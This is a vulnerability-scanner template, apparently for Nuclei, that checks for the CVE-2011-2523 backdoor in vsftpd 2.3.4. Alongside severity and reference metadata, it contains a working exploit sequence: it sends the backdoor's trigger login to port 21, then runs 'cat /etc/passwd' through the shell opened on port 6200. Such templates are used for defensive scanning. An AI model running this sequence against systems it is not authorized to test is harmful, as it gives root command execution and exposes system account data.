id: CVE-2011-2523

info:
  name: VSFTPD 2.3.4 - Backdoor Command Execution
  author: pussycat0x
  severity: critical
  description: |
    VSFTPD v2.3.4 had a serious backdoor vulnerability allowing attackers to execute arbitrary commands on the server with root-level access. The backdoor was triggered by a specific string of characters in a user login request, which allowed attackers to execute any command they wanted.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands with the privileges of the FTP server.
  remediation: |
    Update to the latest version of VSFTPD, which does not contain the backdoor.
  reference:
    - https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor/
    - https://www.exploit-db.com/exploits/49757
    - http://packetstormsecurity.com/files/162145/vsftpd-2.3.4-Backdoor-Command-Execution.html
    - https://access.redhat.com/security/cve/cve-2011-2523
    - https://security-tracker.debian.org/tracker/CVE-2011-2523
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2011-2523
    cwe-id: CWE-78
    epss-score: 0.85861
    epss-percentile: 0.98557
    cpe: cpe:2.3:a:vsftpd_project:vsftpd:2.3.4:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: vsftpd_project
    product: vsftpd
    shodan-query: product:"vsftpd"
  tags: packetstorm,cve2011,network,cve,vsftpd,ftp,backdoor,vsftpd_project,tcp
variables:
  cmd: "cat /etc/passwd" # shows the the user and group names and numeric IDs
tcp:
  - host:
      - "{{Hostname}}"
    port: 21
    inputs:
      - data: "USER letmein:)\r\nPASS please\r\n"
        read: 100

  - host:
      - "{{Host}}:6200"
    inputs:
      - data: "{{cmd}}\n"
        read: 100
    matchers:
      - type: regex
        part: raw
        regex:
          - "root:.*:0:0:"
# digest: 4b0a00483046022100f59d59f9529a3517843c071ba3e71d6f96554a7f73de8ca270d9065e52010ca1022100dfa4c6d38a6df1d03ea6c03dadd88e835917e0b144fcd588cc7f399889b27a38:922c64590222798bb761d5b6d8e72950